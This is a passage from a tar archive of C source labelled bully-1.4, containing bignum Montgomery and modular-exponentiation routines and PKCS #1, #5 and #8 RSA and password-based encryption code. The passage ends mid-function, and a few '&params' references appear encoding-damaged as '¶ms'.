x *= 2 - b * x; /* here x*a==1 mod 2**8 */
#if !defined(MP_8BIT)
x *= 2 - b * x; /* here x*a==1 mod 2**16 */
#endif
#if defined(MP_64BIT) || !(defined(MP_8BIT) || defined(MP_16BIT))
x *= 2 - b * x; /* here x*a==1 mod 2**32 */
#endif
#ifdef MP_64BIT
x *= 2 - b * x; /* here x*a==1 mod 2**64 */
#endif
/* rho = -1/m mod b */
*rho = (unsigned long)(((mp_word)1 << ((mp_word) DIGIT_BIT)) - x) & MP_MASK;
return MP_OKAY;
}
#endif
#ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C
/* computes xR**-1 == x (mod N) via Montgomery Reduction
*
* This is an optimized implementation of montgomery_reduce
* which uses the comba method to quickly calculate the columns of the
* reduction.
*
* Based on Algorithm 14.32 on pp.601 of HAC.
*/
int fast_mp_montgomery_reduce (mp_int * x, mp_int * n, mp_digit rho)
{
int ix, res, olduse;
mp_word W[MP_WARRAY];
/* get old used count */
olduse = x->used;
/* grow a as required */
if (x->alloc < n->used + 1) {
if ((res = mp_grow (x, n->used + 1)) != MP_OKAY) {
return res;
}
}
/* first we have to get the digits of the input into
* an array of double precision words W[...]
*/
{
register mp_word *_W;
register mp_digit *tmpx;
/* alias for the W[] array */
_W = W;
/* alias for the digits of x*/
tmpx = x->dp;
/* copy the digits of a into W[0..a->used-1] */
for (ix = 0; ix < x->used; ix++) {
*_W++ = *tmpx++;
}
/* zero the high words of W[a->used..m->used*2] */
for (; ix < n->used * 2 + 1; ix++) {
*_W++ = 0;
}
}
/* now we proceed to zero successive digits
* from the least significant upwards
*/
for (ix = 0; ix < n->used; ix++) {
/* mu = ai * m' mod b
*
* We avoid a double precision multiplication (which isn't required)
* by casting the value down to a mp_digit. Note this requires
* that W[ix-1] have the carry cleared (see after the inner loop)
*/
register mp_digit mu;
mu = (mp_digit) (((W[ix] & MP_MASK) * rho) & MP_MASK);
/* a = a + mu * m * b**i
*
* This is computed in place and on the fly. The multiplication
* by b**i is handled by offseting which columns the results
* are added to.
*
* Note the comba method normally doesn't handle carries in the
* inner loop In this case we fix the carry from the previous
* column since the Montgomery reduction requires digits of the
* result (so far) [see above] to work. This is
* handled by fixing up one carry after the inner loop. The
* carry fixups are done in order so after these loops the
* first m->used words of W[] have the carries fixed
*/
{
register int iy;
register mp_digit *tmpn;
register mp_word *_W;
/* alias for the digits of the modulus */
tmpn = n->dp;
/* Alias for the columns set by an offset of ix */
_W = W + ix;
/* inner loop */
for (iy = 0; iy < n->used; iy++) {
*_W++ += ((mp_word)mu) * ((mp_word)*tmpn++);
}
}
/* now fix carry for next digit, W[ix+1] */
W[ix + 1] += W[ix] >> ((mp_word) DIGIT_BIT);
}
/* now we have to propagate the carries and
* shift the words downward [all those least
* significant digits we zeroed].
*/
{
register mp_digit *tmpx;
register mp_word *_W, *_W1;
/* nox fix rest of carries */
/* alias for current word */
_W1 = W + ix;
/* alias for next word, where the carry goes */
_W = W + ++ix;
for (; ix <= n->used * 2 + 1; ix++) {
*_W++ += *_W1++ >> ((mp_word) DIGIT_BIT);
}
/* copy out, A = A/b**n
*
* The result is A/b**n but instead of converting from an
* array of mp_word to mp_digit than calling mp_rshd
* we just copy them in the right order
*/
/* alias for destination word */
tmpx = x->dp;
/* alias for shifted double precision result */
_W = W + n->used;
for (ix = 0; ix < n->used + 1; ix++) {
*tmpx++ = (mp_digit)(*_W++ & ((mp_word) MP_MASK));
}
/* zero oldused digits, if the input a was larger than
* m->used+1 we'll have to clear the digits
*/
for (; ix < olduse; ix++) {
*tmpx++ = 0;
}
}
/* set the max used and clamp */
x->used = n->used + 1;
mp_clamp (x);
/* if A >= m then A = A - m */
if (mp_cmp_mag (x, n) != MP_LT) {
return s_mp_sub (x, n, x);
}
return MP_OKAY;
}
#endif
#ifdef BN_MP_MUL_2_C
/* b = a*2 */
static int mp_mul_2(mp_int * a, mp_int * b)
{
int x, res, oldused;
/* grow to accomodate result */
if (b->alloc < a->used + 1) {
if ((res = mp_grow (b, a->used + 1)) != MP_OKAY) {
return res;
}
}
oldused = b->used;
b->used = a->used;
{
register mp_digit r, rr, *tmpa, *tmpb;
/* alias for source */
tmpa = a->dp;
/* alias for dest */
tmpb = b->dp;
/* carry */
r = 0;
for (x = 0; x < a->used; x++) {
/* get what will be the *next* carry bit from the
* MSB of the current digit
*/
rr = *tmpa >> ((mp_digit)(DIGIT_BIT - 1));
/* now shift up this digit, add in the carry [from the previous] */
*tmpb++ = ((*tmpa++ << ((mp_digit)1)) | r) & MP_MASK;
/* copy the carry that would be from the source
* digit into the next iteration
*/
r = rr;
}
/* new leading digit? */
if (r != 0) {
/* add a MSB which is always 1 at this point */
*tmpb = 1;
++(b->used);
}
/* now zero any excess digits on the destination
* that we didn't write to
*/
tmpb = b->dp + b->used;
for (x = b->used; x < oldused; x++) {
*tmpb++ = 0;
}
}
b->sign = a->sign;
return MP_OKAY;
}
#endif
#ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C
/*
* shifts with subtractions when the result is greater than b.
*
* The method is slightly modified to shift B unconditionally upto just under
* the leading bit of b. This saves alot of multiple precision shifting.
*/
static int mp_montgomery_calc_normalization (mp_int * a, mp_int * b)
{
int x, bits, res;
/* how many bits of last digit does b use */
bits = mp_count_bits (b) % DIGIT_BIT;
if (b->used > 1) {
if ((res = mp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1)) != MP_OKAY) {
return res;
}
} else {
mp_set(a, 1);
bits = 1;
}
/* now compute C = A * B mod b */
for (x = bits - 1; x < (int)DIGIT_BIT; x++) {
if ((res = mp_mul_2 (a, a)) != MP_OKAY) {
return res;
}
if (mp_cmp_mag (a, b) != MP_LT) {
if ((res = s_mp_sub (a, b, a)) != MP_OKAY) {
return res;
}
}
}
return MP_OKAY;
}
#endif
#ifdef BN_MP_EXPTMOD_FAST_C
/* computes Y == G**X mod P, HAC pp.616, Algorithm 14.85
*
* Uses a left-to-right k-ary sliding window to compute the modular exponentiation.
* The value of k changes based on the size of the exponent.
*
* Uses Montgomery or Diminished Radix reduction [whichever appropriate]
*/
static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode)
{
mp_int M[TAB_SIZE], res;
mp_digit buf, mp;
int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize;
/* use a pointer to the reduction algorithm. This allows us to use
* one of many reduction algorithms without modding the guts of
* the code with if statements everywhere.
*/
int (*redux)(mp_int*,mp_int*,mp_digit);
/* find window size */
x = mp_count_bits (X);
if (x <= 7) {
winsize = 2;
} else if (x <= 36) {
winsize = 3;
} else if (x <= 140) {
winsize = 4;
} else if (x <= 450) {
winsize = 5;
} else if (x <= 1303) {
winsize = 6;
} else if (x <= 3529) {
winsize = 7;
} else {
winsize = 8;
}
#ifdef MP_LOW_MEM
if (winsize > 5) {
winsize = 5;
}
#endif
/* init M array */
/* init first cell */
if ((err = mp_init(&M[1])) != MP_OKAY) {
return err;
}
/* now init the second half of the array */
for (x = 1<<(winsize-1); x < (1 << winsize); x++) {
if ((err = mp_init(&M[x])) != MP_OKAY) {
for (y = 1<<(winsize-1); y < x; y++) {
mp_clear (&M[y]);
}
mp_clear(&M[1]);
return err;
}
}
/* determine and setup reduction code */
if (redmode == 0) {
#ifdef BN_MP_MONTGOMERY_SETUP_C
/* now setup montgomery */
if ((err = mp_montgomery_setup (P, &mp)) != MP_OKAY) {
goto LBL_M;
}
#else
err = MP_VAL;
goto LBL_M;
#endif
/* automatically pick the comba one if available (saves quite a few calls/ifs) */
#ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C
if (((P->used * 2 + 1) < MP_WARRAY) &&
P->used < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) {
redux = fast_mp_montgomery_reduce;
} else
#endif
{
#ifdef BN_MP_MONTGOMERY_REDUCE_C
/* use slower baseline Montgomery method */
redux = mp_montgomery_reduce;
#else
err = MP_VAL;
goto LBL_M;
#endif
}
} else if (redmode == 1) {
#if defined(BN_MP_DR_SETUP_C) && defined(BN_MP_DR_REDUCE_C)
/* setup DR reduction for moduli of the form B**k - b */
mp_dr_setup(P, &mp);
redux = mp_dr_reduce;
#else
err = MP_VAL;
goto LBL_M;
#endif
} else {
#if defined(BN_MP_REDUCE_2K_SETUP_C) && defined(BN_MP_REDUCE_2K_C)
/* setup DR reduction for moduli of the form 2**k - b */
if ((err = mp_reduce_2k_setup(P, &mp)) != MP_OKAY) {
goto LBL_M;
}
redux = mp_reduce_2k;
#else
err = MP_VAL;
goto LBL_M;
#endif
}
/* setup result */
if ((err = mp_init (&res)) != MP_OKAY) {
goto LBL_M;
}
/* create M table
*
*
* The first half of the table is not computed though accept for M[0] and M[1]
*/
if (redmode == 0) {
#ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C
/* now we need R mod m */
if ((err = mp_montgomery_calc_normalization (&res, P)) != MP_OKAY) {
goto LBL_RES;
}
#else
err = MP_VAL;
goto LBL_RES;
#endif
/* now set M[1] to G * R mod m */
if ((err = mp_mulmod (G, &res, P, &M[1])) != MP_OKAY) {
goto LBL_RES;
}
} else {
mp_set(&res, 1);
if ((err = mp_mod(G, P, &M[1])) != MP_OKAY) {
goto LBL_RES;
}
}
/* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */
if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) {
goto LBL_RES;
}
for (x = 0; x < (winsize - 1); x++) {
if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&M[1 << (winsize - 1)], P, mp)) != MP_OKAY) {
goto LBL_RES;
}
}
/* create upper table */
for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) {
if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&M[x], P, mp)) != MP_OKAY) {
goto LBL_RES;
}
}
/* set initial mode and bit cnt */
mode = 0;
bitcnt = 1;
buf = 0;
digidx = X->used - 1;
bitcpy = 0;
bitbuf = 0;
for (;;) {
/* grab next digit as required */
if (--bitcnt == 0) {
/* if digidx == -1 we are out of digits so break */
if (digidx == -1) {
break;
}
/* read next digit and reset bitcnt */
buf = X->dp[digidx--];
bitcnt = (int)DIGIT_BIT;
}
/* grab the next msb from the exponent */
y = (mp_digit)(buf >> (DIGIT_BIT - 1)) & 1;
buf <<= (mp_digit)1;
/* if the bit is zero and mode == 0 then we ignore it
* These represent the leading zero bits before the first 1 bit
* in the exponent. Technically this opt is not required but it
* does lower the # of trivial squaring/reductions used
*/
if (mode == 0 && y == 0) {
continue;
}
/* if the bit is zero and mode == 1 then we square */
if (mode == 1 && y == 0) {
if ((err = mp_sqr (&res, &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, mp)) != MP_OKAY) {
goto LBL_RES;
}
continue;
}
/* else we add it to the window */
bitbuf |= (y << (winsize - ++bitcpy));
mode = 2;
if (bitcpy == winsize) {
/* ok window is filled so square as required and multiply */
/* square first */
for (x = 0; x < winsize; x++) {
if ((err = mp_sqr (&res, &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, mp)) != MP_OKAY) {
goto LBL_RES;
}
}
/* then multiply */
if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, mp)) != MP_OKAY) {
goto LBL_RES;
}
/* empty window and reset */
bitcpy = 0;
bitbuf = 0;
mode = 1;
}
}
/* if bits remain then square/multiply */
if (mode == 2 && bitcpy > 0) {
/* square then multiply if the bit is set */
for (x = 0; x < bitcpy; x++) {
if ((err = mp_sqr (&res, &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, mp)) != MP_OKAY) {
goto LBL_RES;
}
/* get next bit of the window */
bitbuf <<= 1;
if ((bitbuf & (1 << winsize)) != 0) {
/* then multiply */
if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, mp)) != MP_OKAY) {
goto LBL_RES;
}
}
}
}
if (redmode == 0) {
/* fixup result if Montgomery reduction is used
* recall that any value in a Montgomery system is
* actually multiplied by R mod n. So we have
* to reduce one more time to cancel out the factor
* of R.
*/
if ((err = redux(&res, P, mp)) != MP_OKAY) {
goto LBL_RES;
}
}
/* swap res with Y */
mp_exch (&res, Y);
err = MP_OKAY;
LBL_RES:mp_clear (&res);
LBL_M:
mp_clear(&M[1]);
for (x = 1<<(winsize-1); x < (1 << winsize); x++) {
mp_clear (&M[x]);
}
return err;
}
#endif
#ifdef BN_FAST_S_MP_SQR_C
/* the jist of squaring...
* you do like mult except the offset of the tmpx [one that
* starts closer to zero] can't equal the offset of tmpy.
* So basically you set up iy like before then you min it with
* (ty-tx) so that it never happens. You double all those
* you add in the inner loop
After that loop you do the squares and add them in.
*/
static int fast_s_mp_sqr (mp_int * a, mp_int * b)
{
int olduse, res, pa, ix, iz;
mp_digit W[MP_WARRAY], *tmpx;
mp_word W1;
/* grow the destination as required */
pa = a->used + a->used;
if (b->alloc < pa) {
if ((res = mp_grow (b, pa)) != MP_OKAY) {
return res;
}
}
/* number of output digits to produce */
W1 = 0;
for (ix = 0; ix < pa; ix++) {
int tx, ty, iy;
mp_word _W;
mp_digit *tmpy;
/* clear counter */
_W = 0;
/* get offsets into the two bignums */
ty = MIN(a->used-1, ix);
tx = ix - ty;
/* setup temp aliases */
tmpx = a->dp + tx;
tmpy = a->dp + ty;
/* this is the number of times the loop will iterrate, essentially
while (tx++ < a->used && ty-- >= 0) { ... }
*/
iy = MIN(a->used-tx, ty+1);
/* now for squaring tx can never equal ty
* we halve the distance since they approach at a rate of 2x
* and we have to round because odd cases need to be executed
*/
iy = MIN(iy, (ty-tx+1)>>1);
/* execute loop */
for (iz = 0; iz < iy; iz++) {
_W += ((mp_word)*tmpx++)*((mp_word)*tmpy--);
}
/* double the inner product and add carry */
_W = _W + _W + W1;
/* even columns have the square term in them */
if ((ix&1) == 0) {
_W += ((mp_word)a->dp[ix>>1])*((mp_word)a->dp[ix>>1]);
}
/* store it */
W[ix] = (mp_digit)(_W & MP_MASK);
/* make next carry */
W1 = _W >> ((mp_word)DIGIT_BIT);
}
/* setup dest */
olduse = b->used;
b->used = a->used+a->used;
{
mp_digit *tmpb;
tmpb = b->dp;
for (ix = 0; ix < pa; ix++) {
*tmpb++ = W[ix] & MP_MASK;
}
/* clear unused digits [that existed in the old copy of c] */
for (; ix < olduse; ix++) {
*tmpb++ = 0;
}
}
mp_clamp (b);
return MP_OKAY;
}
#endif
#ifdef BN_MP_MUL_D_C
/* multiply by a digit */
static int
mp_mul_d (mp_int * a, mp_digit b, mp_int * c)
{
mp_digit u, *tmpa, *tmpc;
mp_word r;
int ix, res, olduse;
/* make sure c is big enough to hold a*b */
if (c->alloc < a->used + 1) {
if ((res = mp_grow (c, a->used + 1)) != MP_OKAY) {
return res;
}
}
/* get the original destinations used count */
olduse = c->used;
/* set the sign */
c->sign = a->sign;
/* alias for a->dp [source] */
tmpa = a->dp;
/* alias for c->dp [dest] */
tmpc = c->dp;
/* zero carry */
u = 0;
/* compute columns */
for (ix = 0; ix < a->used; ix++) {
/* compute product and carry sum for this term */
r = ((mp_word) u) + ((mp_word)*tmpa++) * ((mp_word)b);
/* mask off higher bits to get a single digit */
*tmpc++ = (mp_digit) (r & ((mp_word) MP_MASK));
/* send carry into next iteration */
u = (mp_digit) (r >> ((mp_word) DIGIT_BIT));
}
/* store final carry [if any] and increment ix offset */
*tmpc++ = u;
++ix;
/* now zero digits above the top */
while (ix++ < olduse) {
*tmpc++ = 0;
}
/* set used count */
c->used = a->used + 1;
mp_clamp(c);
return MP_OKAY;
}
#endif
bully-1.4-00/src/tls/pkcs1.c 0000775 0000000 0000000 00000010573 13615304636 0015520 0 ustar 00root root 0000000 0000000 /*
* PKCS #1 (RSA Encryption)
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "rsa.h"
#include "pkcs1.h"
static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
size_t ps_len;
u8 *pos;
/*
* PKCS #1 v1.5, 8.1:
*
* EB = 00 || BT || PS || 00 || D
* BT = 00 or 01 for private-key operation; 02 for public-key operation
* PS = k-3-||D||; at least eight octets
* (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero)
* k = length of modulus in octets (modlen)
*/
if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) {
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer "
"lengths (modlen=%lu outlen=%lu inlen=%lu)",
__func__, (unsigned long) modlen,
(unsigned long) *outlen,
(unsigned long) inlen);
return -1;
}
pos = out;
*pos++ = 0x00;
*pos++ = block_type; /* BT */
ps_len = modlen - inlen - 3;
switch (block_type) {
case 0:
os_memset(pos, 0x00, ps_len);
pos += ps_len;
break;
case 1:
os_memset(pos, 0xff, ps_len);
pos += ps_len;
break;
case 2:
if (os_get_random(pos, ps_len) < 0) {
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get "
"random data for PS", __func__);
return -1;
}
while (ps_len--) {
if (*pos == 0x00)
*pos = 0x01;
pos++;
}
break;
default:
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type "
"%d", __func__, block_type);
return -1;
}
*pos++ = 0x00;
os_memcpy(pos, in, inlen); /* D */
return 0;
}
int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key,
int use_private, const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
size_t modlen;
modlen = crypto_rsa_get_modulus_len(key);
if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen,
out, outlen) < 0)
return -1;
return crypto_rsa_exptmod(out, modlen, out, outlen, key, use_private);
}
int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
int res;
u8 *pos, *end;
res = crypto_rsa_exptmod(in, inlen, out, outlen, key, 1);
if (res)
return res;
if (*outlen < 2 || out[0] != 0 || out[1] != 2)
return -1;
/* Skip PS (pseudorandom non-zero octets) */
pos = out + 2;
end = out + *outlen;
while (*pos && pos < end)
pos++;
if (pos == end)
return -1;
pos++;
*outlen -= pos - out;
/* Strip PKCS #1 header */
os_memmove(out, pos, *outlen);
return 0;
}
int pkcs1_decrypt_public_key(struct crypto_rsa_key *key,
const u8 *crypt, size_t crypt_len,
u8 *plain, size_t *plain_len)
{
size_t len;
u8 *pos;
len = *plain_len;
if (crypto_rsa_exptmod(crypt, crypt_len, plain, &len, key, 0) < 0)
return -1;
/*
* PKCS #1 v1.5, 8.1:
*
* EB = 00 || BT || PS || 00 || D
* BT = 00 or 01
* PS = k-3-||D|| times (00 if BT=00) or (FF if BT=01)
* k = length of modulus in octets
*/
if (len < 3 + 8 + 16 /* min hash len */ ||
plain[0] != 0x00 || (plain[1] != 0x00 && plain[1] != 0x01)) {
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB "
"structure");
return -1;
}
pos = plain + 3;
if (plain[1] == 0x00) {
/* BT = 00 */
if (plain[2] != 0x00) {
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature "
"PS (BT=00)");
return -1;
}
while (pos + 1 < plain + len && *pos == 0x00 && pos[1] == 0x00)
pos++;
} else {
/* BT = 01 */
if (plain[2] != 0xff) {
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature "
"PS (BT=01)");
return -1;
}
while (pos < plain + len && *pos == 0xff)
pos++;
}
if (pos - plain - 2 < 8) {
/* PKCS #1 v1.5, 8.1: At least eight octets long PS */
wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature "
"padding");
return -1;
}
if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) {
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB "
"structure (2)");
return -1;
}
pos++;
len -= pos - plain;
/* Strip PKCS #1 header */
os_memmove(plain, pos, len);
*plain_len = len;
return 0;
}
bully-1.4-00/src/tls/pkcs1.h 0000775 0000000 0000000 00000001555 13615304636 0015525 0 ustar 00root root 0000000 0000000 /*
* PKCS #1 (RSA Encryption)
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef PKCS1_H
#define PKCS1_H
int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key,
int use_private, const u8 *in, size_t inlen,
u8 *out, size_t *outlen);
int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen);
int pkcs1_decrypt_public_key(struct crypto_rsa_key *key,
const u8 *crypt, size_t crypt_len,
u8 *plain, size_t *plain_len);
#endif /* PKCS1_H */
bully-1.4-00/src/tls/pkcs5.c 0000775 0000000 0000000 00000014030 13615304636 0015514 0 ustar 00root root 0000000 0000000 /*
* PKCS #5 (Password-based Encryption)
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/crypto.h"
#include "crypto/md5.h"
#include "asn1.h"
#include "pkcs5.h"
struct pkcs5_params {
enum pkcs5_alg {
PKCS5_ALG_UNKNOWN,
PKCS5_ALG_MD5_DES_CBC
} alg;
u8 salt[8];
size_t salt_len;
unsigned int iter_count;
};
enum pkcs5_alg pkcs5_get_alg(struct asn1_oid *oid)
{
if (oid->len == 7 &&
oid->oid[0] == 1 /* iso */ &&
oid->oid[1] == 2 /* member-body */ &&
oid->oid[2] == 840 /* us */ &&
oid->oid[3] == 113549 /* rsadsi */ &&
oid->oid[4] == 1 /* pkcs */ &&
oid->oid[5] == 5 /* pkcs-5 */ &&
oid->oid[6] == 3 /* pbeWithMD5AndDES-CBC */)
return PKCS5_ALG_MD5_DES_CBC;
return PKCS5_ALG_UNKNOWN;
}
static int pkcs5_get_params(const u8 *enc_alg, size_t enc_alg_len,
struct pkcs5_params *params)
{
struct asn1_hdr hdr;
const u8 *enc_alg_end, *pos, *end;
struct asn1_oid oid;
char obuf[80];
/* AlgorithmIdentifier */
enc_alg_end = enc_alg + enc_alg_len;
os_memset(params, 0, sizeof(*params));
if (asn1_get_oid(enc_alg, enc_alg_end - enc_alg, &oid, &pos)) {
wpa_printf(MSG_DEBUG, "PKCS #5: Failed to parse OID "
"(algorithm)");
return -1;
}
asn1_oid_to_str(&oid, obuf, sizeof(obuf));
wpa_printf(MSG_DEBUG, "PKCS #5: encryption algorithm %s", obuf);
params->alg = pkcs5_get_alg(&oid);
if (params->alg == PKCS5_ALG_UNKNOWN) {
wpa_printf(MSG_INFO, "PKCS #5: unsupported encryption "
"algorithm %s", obuf);
return -1;
}
/*
* PKCS#5, Section 8
* PBEParameter ::= SEQUENCE {
* salt OCTET STRING SIZE(8),
* iterationCount INTEGER }
*/
if (asn1_get_next(pos, enc_alg_end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "PKCS #5: Expected SEQUENCE "
"(PBEParameter) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
end = hdr.payload + hdr.length;
/* salt OCTET STRING SIZE(8) */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_OCTETSTRING ||
hdr.length != 8) {
wpa_printf(MSG_DEBUG, "PKCS #5: Expected OCTETSTRING SIZE(8) "
"(salt) - found class %d tag 0x%x size %d",
hdr.class, hdr.tag, hdr.length);
return -1;
}
pos = hdr.payload + hdr.length;
os_memcpy(params->salt, hdr.payload, hdr.length);
params->salt_len = hdr.length;
wpa_hexdump(MSG_DEBUG, "PKCS #5: salt",
params->salt, params->salt_len);
/* iterationCount INTEGER */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "PKCS #5: Expected INTEGER - found "
"class %d tag 0x%x", hdr.class, hdr.tag);
return -1;
}
if (hdr.length == 1)
params->iter_count = *hdr.payload;
else if (hdr.length == 2)
params->iter_count = WPA_GET_BE16(hdr.payload);
else if (hdr.length == 4)
params->iter_count = WPA_GET_BE32(hdr.payload);
else {
wpa_hexdump(MSG_DEBUG, "PKCS #5: Unsupported INTEGER value "
" (iterationCount)",
hdr.payload, hdr.length);
return -1;
}
wpa_printf(MSG_DEBUG, "PKCS #5: iterationCount=0x%x",
params->iter_count);
if (params->iter_count == 0 || params->iter_count > 0xffff) {
wpa_printf(MSG_INFO, "PKCS #5: Unsupported "
"iterationCount=0x%x", params->iter_count);
return -1;
}
return 0;
}
static struct crypto_cipher * pkcs5_crypto_init(struct pkcs5_params *params,
const char *passwd)
{
unsigned int i;
u8 hash[MD5_MAC_LEN];
const u8 *addr[2];
size_t len[2];
if (params->alg != PKCS5_ALG_MD5_DES_CBC)
return NULL;
addr[0] = (const u8 *) passwd;
len[0] = os_strlen(passwd);
addr[1] = params->salt;
len[1] = params->salt_len;
if (md5_vector(2, addr, len, hash) < 0)
return NULL;
addr[0] = hash;
len[0] = MD5_MAC_LEN;
for (i = 1; i < params->iter_count; i++) {
if (md5_vector(1, addr, len, hash) < 0)
return NULL;
}
/* TODO: DES key parity bits(?) */
wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES key", hash, 8);
wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES IV", hash + 8, 8);
return crypto_cipher_init(CRYPTO_CIPHER_ALG_DES, hash + 8, hash, 8);
}
u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len,
const u8 *enc_data, size_t enc_data_len,
const char *passwd, size_t *data_len)
{
struct crypto_cipher *ctx;
u8 *eb, pad;
struct pkcs5_params params;
unsigned int i;
if (pkcs5_get_params(enc_alg, enc_alg_len, ¶ms) < 0) {
wpa_printf(MSG_DEBUG, "PKCS #5: Unsupported parameters");
return NULL;
}
ctx = pkcs5_crypto_init(¶ms, passwd);
if (ctx == NULL) {
wpa_printf(MSG_DEBUG, "PKCS #5: Failed to initialize crypto");
return NULL;
}
/* PKCS #5, Section 7 - Decryption process */
if (enc_data_len < 16 || enc_data_len % 8) {
wpa_printf(MSG_INFO, "PKCS #5: invalid length of ciphertext "
"%d", (int) enc_data_len);
crypto_cipher_deinit(ctx);
return NULL;
}
eb = os_malloc(enc_data_len);
if (eb == NULL) {
crypto_cipher_deinit(ctx);
return NULL;
}
if (crypto_cipher_decrypt(ctx, enc_data, eb, enc_data_len) < 0) {
wpa_printf(MSG_DEBUG, "PKCS #5: Failed to decrypt EB");
crypto_cipher_deinit(ctx);
os_free(eb);
return NULL;
}
crypto_cipher_deinit(ctx);
pad = eb[enc_data_len - 1];
if (pad > 8) {
wpa_printf(MSG_INFO, "PKCS #5: Invalid PS octet 0x%x", pad);
os_free(eb);
return NULL;
}
for (i = enc_data_len - pad; i < enc_data_len; i++) {
if (eb[i] != pad) {
wpa_hexdump(MSG_INFO, "PKCS #5: Invalid PS",
eb + enc_data_len - pad, pad);
os_free(eb);
return NULL;
}
}
wpa_hexdump_key(MSG_MSGDUMP, "PKCS #5: message M (encrypted key)",
eb, enc_data_len - pad);
*data_len = enc_data_len - pad;
return eb;
}
bully-1.4-00/src/tls/pkcs5.h 0000775 0000000 0000000 00000001157 13615304636 0015527 0 ustar 00root root 0000000 0000000 /*
* PKCS #5 (Password-based Encryption)
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef PKCS5_H
#define PKCS5_H
u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len,
const u8 *enc_data, size_t enc_data_len,
const char *passwd, size_t *data_len);
#endif /* PKCS5_H */
bully-1.4-00/src/tls/pkcs8.c 0000775 0000000 0000000 00000012471 13615304636 0015526 0 ustar 00root root 0000000 0000000 /*
* PKCS #8 (Private-key information syntax)
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "asn1.h"
#include "bignum.h"
#include "rsa.h"
#include "pkcs5.h"
#include "pkcs8.h"
struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len)
{
struct asn1_hdr hdr;
const u8 *pos, *end;
struct bignum *zero;
struct asn1_oid oid;
char obuf[80];
/* PKCS #8, Chapter 6 */
/* PrivateKeyInfo ::= SEQUENCE */
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
